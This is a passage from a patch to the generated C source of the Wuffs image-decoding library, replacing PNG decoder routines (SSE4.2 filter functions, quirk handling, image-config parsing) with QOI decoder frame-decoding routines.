v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u24le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_x128 = _mm_packus_epi16(v_x128, v_x128); +- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- } +- v_curr.len = 0; +- v_prev.len = 0; ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; + } +- return wuffs_base__make_empty_struct(); ++ return status; + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-// -------- func png.decoder.filter_4_distance_4_x86_sse42 ++// -------- func qoi.decoder.do_decode_frame_config + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_4_x86_sse42( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- __m128i v_x128 = {0}; +- __m128i v_a128 = {0}; +- __m128i v_b128 = {0}; +- __m128i v_c128 = {0}; +- __m128i v_p128 = {0}; +- __m128i v_pa128 = {0}; +- __m128i v_pb128 = {0}; +- __m128i v_pc128 = {0}; +- __m128i v_smallest128 = {0}; +- __m128i v_z128 = {0}; ++static wuffs_base__status ++wuffs_qoi__decoder__do_decode_frame_config( ++ wuffs_qoi__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); +- while (v_curr.ptr < i_end0_curr) { +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); +- v_pa128 = _mm_sub_epi16(v_b128, v_c128); +- v_pb128 = _mm_sub_epi16(v_a128, v_c128); +- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); +- v_pa128 = _mm_abs_epi16(v_pa128); +- v_pb128 = _mm_abs_epi16(v_pb128); +- v_pc128 = _mm_abs_epi16(v_pc128); +- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); +- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- v_c128 = v_b128; +- v_x128 = _mm_packus_epi16(v_x128, v_x128); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); +- v_pa128 = _mm_sub_epi16(v_b128, v_c128); +- v_pb128 = _mm_sub_epi16(v_a128, v_c128); +- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); +- v_pa128 = _mm_abs_epi16(v_pa128); +- v_pb128 = _mm_abs_epi16(v_pb128); +- v_pc128 = _mm_abs_epi16(v_pc128); +- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); +- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- v_c128 = v_b128; +- v_x128 = _mm_packus_epi16(v_x128, v_x128); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- } +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end1_curr) { +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); +- v_pa128 = _mm_sub_epi16(v_b128, v_c128); +- v_pb128 = _mm_sub_epi16(v_a128, v_c128); +- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); +- v_pa128 = _mm_abs_epi16(v_pa128); +- v_pb128 = _mm_abs_epi16(v_pb128); +- v_pc128 = _mm_abs_epi16(v_pc128); +- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); +- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- v_c128 = v_b128; +- v_x128 = _mm_packus_epi16(v_x128, v_x128); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- v_prev.ptr += 4; ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_qoi__decoder__do_decode_image_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (16u != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); ++ goto exit; ++ } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ self->private_impl.f_call_sequence = 96u; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; + } +- v_curr.len = 0; +- v_prev.len = 0; +- } +- return wuffs_base__make_empty_struct(); +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 +- +-// -------- func png.decoder.get_quirk +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_png__decoder__get_quirk( +- const wuffs_png__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height), ++ ((wuffs_base__flicks)(0u)), ++ 0u, ++ 14u, ++ 0u, ++ (self->private_impl.f_pixfmt == 2415954056u), ++ false, ++ 0u); ++ } ++ self->private_impl.f_call_sequence = 64u; + +- if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { +- return 1u; ++ ok: ++ self->private_impl.p_do_decode_frame_config = 0; ++ goto exit; + } +- return 0u; +-} + +-// -------- func png.decoder.set_quirk ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_png__decoder__set_quirk( +- wuffs_png__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- if (a_key == 1u) { +- self->private_impl.f_ignore_checksum = (a_value > 0u); +- wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, a_key, a_value); +- return wuffs_base__make_status(NULL); +- } +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ return status; + } + +-// -------- func png.decoder.decode_image_config ++// -------- func qoi.decoder.decode_frame + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_png__decoder__decode_image_config( +- wuffs_png__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { ++wuffs_qoi__decoder__decode_frame( ++ wuffs_qoi__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +@@ -54464,12 +67805,12 @@ wuffs_png__decoder__decode_image_config( + ? wuffs_base__error__disabled_by_previous_error + : wuffs_base__error__initialize_not_called); + } +- if (!a_src) { ++ if (!a_dst || !a_src) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { ++ (self->private_impl.active_coroutine != 3)) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } +@@ -54478,17 +67819,22 @@ wuffs_png__decoder__decode_image_config( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_png__decoder__do_decode_image_config(self, a_dst, a_src); ++ wuffs_base__status t_0 = wuffs_qoi__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_png__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_qoi__error__truncated_input); + goto exit; + } + status = v_status; +@@ -54496,14 +67842,14 @@ wuffs_png__decoder__decode_image_config( + } + + ok: +- self->private_impl.p_decode_image_config[0] = 0; ++ self->private_impl.p_decode_frame = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; + + goto exit; + exit: +@@ -54513,21 +67859,21 @@ wuffs_png__decoder__decode_image_config( + return status; + } + +-// -------- func png.decoder.do_decode_image_config ++// -------- func qoi.decoder.do_decode_frame + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__do_decode_image_config( +- wuffs_png__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { ++wuffs_qoi__decoder__do_decode_frame( ++ wuffs_qoi__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint64_t v_magic = 0; +- uint64_t v_mark = 0; +- uint32_t v_checksum_have = 0; +- uint32_t v_checksum_want = 0; + wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint64_t v_c64 = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -54540,281 +67886,332 @@ wuffs_png__decoder__do_decode_image_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; +- if (coro_susp_point) { +- v_checksum_have = self->private_data.s_do_decode_image_config[0].v_checksum_have; +- } ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } else if ( ! self->private_impl.f_seen_ihdr) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint64_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { +- t_0 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); +- iop_a_src += 8; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; +- if (num_bits_0 == 56) { +- t_0 = ((uint64_t)(*scratch)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)) << 56; +- } +- } +- v_magic = t_0; ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- if (v_magic != 727905341920923785u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_header); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_qoi__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette(a_dst), ++ wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), ++ wuffs_base__utility__empty_slice_u8(), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); + goto exit; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint64_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { +- t_1 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); +- iop_a_src += 8; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; +- if (num_bits_1 == 56) { +- t_1 = ((uint64_t)(*scratch)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)) << 56; +- } +- } +- v_magic = t_1; ++ goto ok; ++ } ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y = 0u; ++ self->private_data.f_pixel[0u] = 0u; ++ self->private_data.f_pixel[1u] = 0u; ++ self->private_data.f_pixel[2u] = 0u; ++ self->private_data.f_pixel[3u] = 255u; ++ wuffs_private_impl__bulk_memset(&self->private_data.f_cache[0], 256u, 0u); ++ self->private_impl.f_remaining_pixels_times_4 = (((uint64_t)(self->private_impl.f_width)) * ((uint64_t)(self->private_impl.f_height)) * 4u); ++ while (self->private_impl.f_remaining_pixels_times_4 > 0u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- if (v_magic != 5927942488114331648u) { +- if (v_magic == 5278895250759221248u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_cgbi_extension); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_qoi__decoder__from_src_to_buffer(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_remaining_pixels_times_4 < ((uint64_t)(self->private_impl.f_buffer_index))) { ++ status = wuffs_base__make_status(wuffs_base__error__too_much_data); ++ goto exit; ++ } ++ self->private_impl.f_remaining_pixels_times_4 -= ((uint64_t)(self->private_impl.f_buffer_index)); ++ v_status = wuffs_qoi__decoder__from_buffer_to_dst(self, a_dst); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); + goto exit; + } +- status = wuffs_base__make_status(wuffs_png__error__bad_header); +- goto exit; ++ goto ok; + } +- self->private_impl.f_chunk_type_array[0u] = 73u; +- self->private_impl.f_chunk_type_array[1u] = 72u; +- self->private_impl.f_chunk_type_array[2u] = 68u; +- self->private_impl.f_chunk_type_array[3u] = 82u; +- wuffs_base__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, +- sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); +- wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); +- while (true) { +- v_mark = ((uint64_t)(iop_a_src - io0_a_src)); +- { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint64_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_0 = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_decode_frame.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- wuffs_base__status t_2 = wuffs_png__decoder__decode_ihdr(self, a_src); +- v_status = t_2; +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ uint64_t* scratch = &self->private_data.s_do_decode_frame.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 56) { ++ t_0 = ((uint64_t)(*scratch >> 0)); ++ break; + } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); + } +- if ( ! self->private_impl.f_ignore_checksum) { +- v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); +- } +- if (wuffs_base__status__is_ok(&v_status)) { +- break; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); + } ++ v_c64 = t_0; ++ } ++ if (v_c64 != 1u) { ++ status = wuffs_base__make_status(wuffs_qoi__error__bad_footer); ++ goto exit; ++ } ++ self->private_impl.f_call_sequence = 96u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func qoi.decoder.from_src_to_buffer ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_qoi__decoder__from_src_to_buffer( ++ wuffs_qoi__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint8_t v_dg = 0; ++ uint32_t v_bi = 0; ++ uint32_t v_bj = 0; ++ uint32_t v_bk = 0; ++ uint32_t v_ci = 0; ++ uint32_t v_hash4 = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_from_src_to_buffer; ++ if (coro_susp_point) { ++ v_dg = self->private_data.s_from_src_to_buffer.v_dg; ++ v_bi = self->private_data.s_from_src_to_buffer.v_bi; ++ v_bk = self->private_data.s_from_src_to_buffer.v_bk; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ v_bk = 7936u; ++ if (self->private_impl.f_remaining_pixels_times_4 < 7936u) { ++ v_bk = ((uint32_t)(self->private_impl.f_remaining_pixels_times_4)); ++ } ++ while (v_bi < v_bk) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- uint32_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); +- if (num_bits_3 == 24) { +- t_3 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)); +- } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- v_checksum_want = t_3; +- } +- if ( ! self->private_impl.f_ignore_checksum && (v_checksum_have != v_checksum_want)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_checksum); +- goto exit; +- } +- self->private_impl.f_seen_ihdr = true; +- } else if (self->private_impl.f_metadata_fourcc != 0u) { +- self->private_impl.f_call_sequence = 16u; +- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); +- goto ok; +- } +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); +- continue; ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; + } +- self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); +- if (self->private_impl.f_chunk_type == 1413563465u) { +- if ( ! self->private_impl.f_seen_actl || self->private_impl.f_seen_fctl) { +- break; ++ if (v_c8 == 254u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ self->private_data.f_pixel[2u] = t_1; + } +- self->private_impl.f_seen_idat = true; +- } else if (self->private_impl.f_chunk_type == 1413571686u) { +- if (self->private_impl.f_seen_idat && self->private_impl.f_seen_fctl) { +- break; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ self->private_data.f_pixel[1u] = t_2; + } +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- iop_a_src += 8u; +- if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u)) { +- self->private_impl.f_chunk_type_array[0u] = ((uint8_t)((self->private_impl.f_chunk_type >> 0u))); +- self->private_impl.f_chunk_type_array[1u] = ((uint8_t)((self->private_impl.f_chunk_type >> 8u))); +- self->private_impl.f_chunk_type_array[2u] = ((uint8_t)((self->private_impl.f_chunk_type >> 16u))); +- self->private_impl.f_chunk_type_array[3u] = ((uint8_t)((self->private_impl.f_chunk_type >> 24u))); +- wuffs_base__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, +- sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); +- 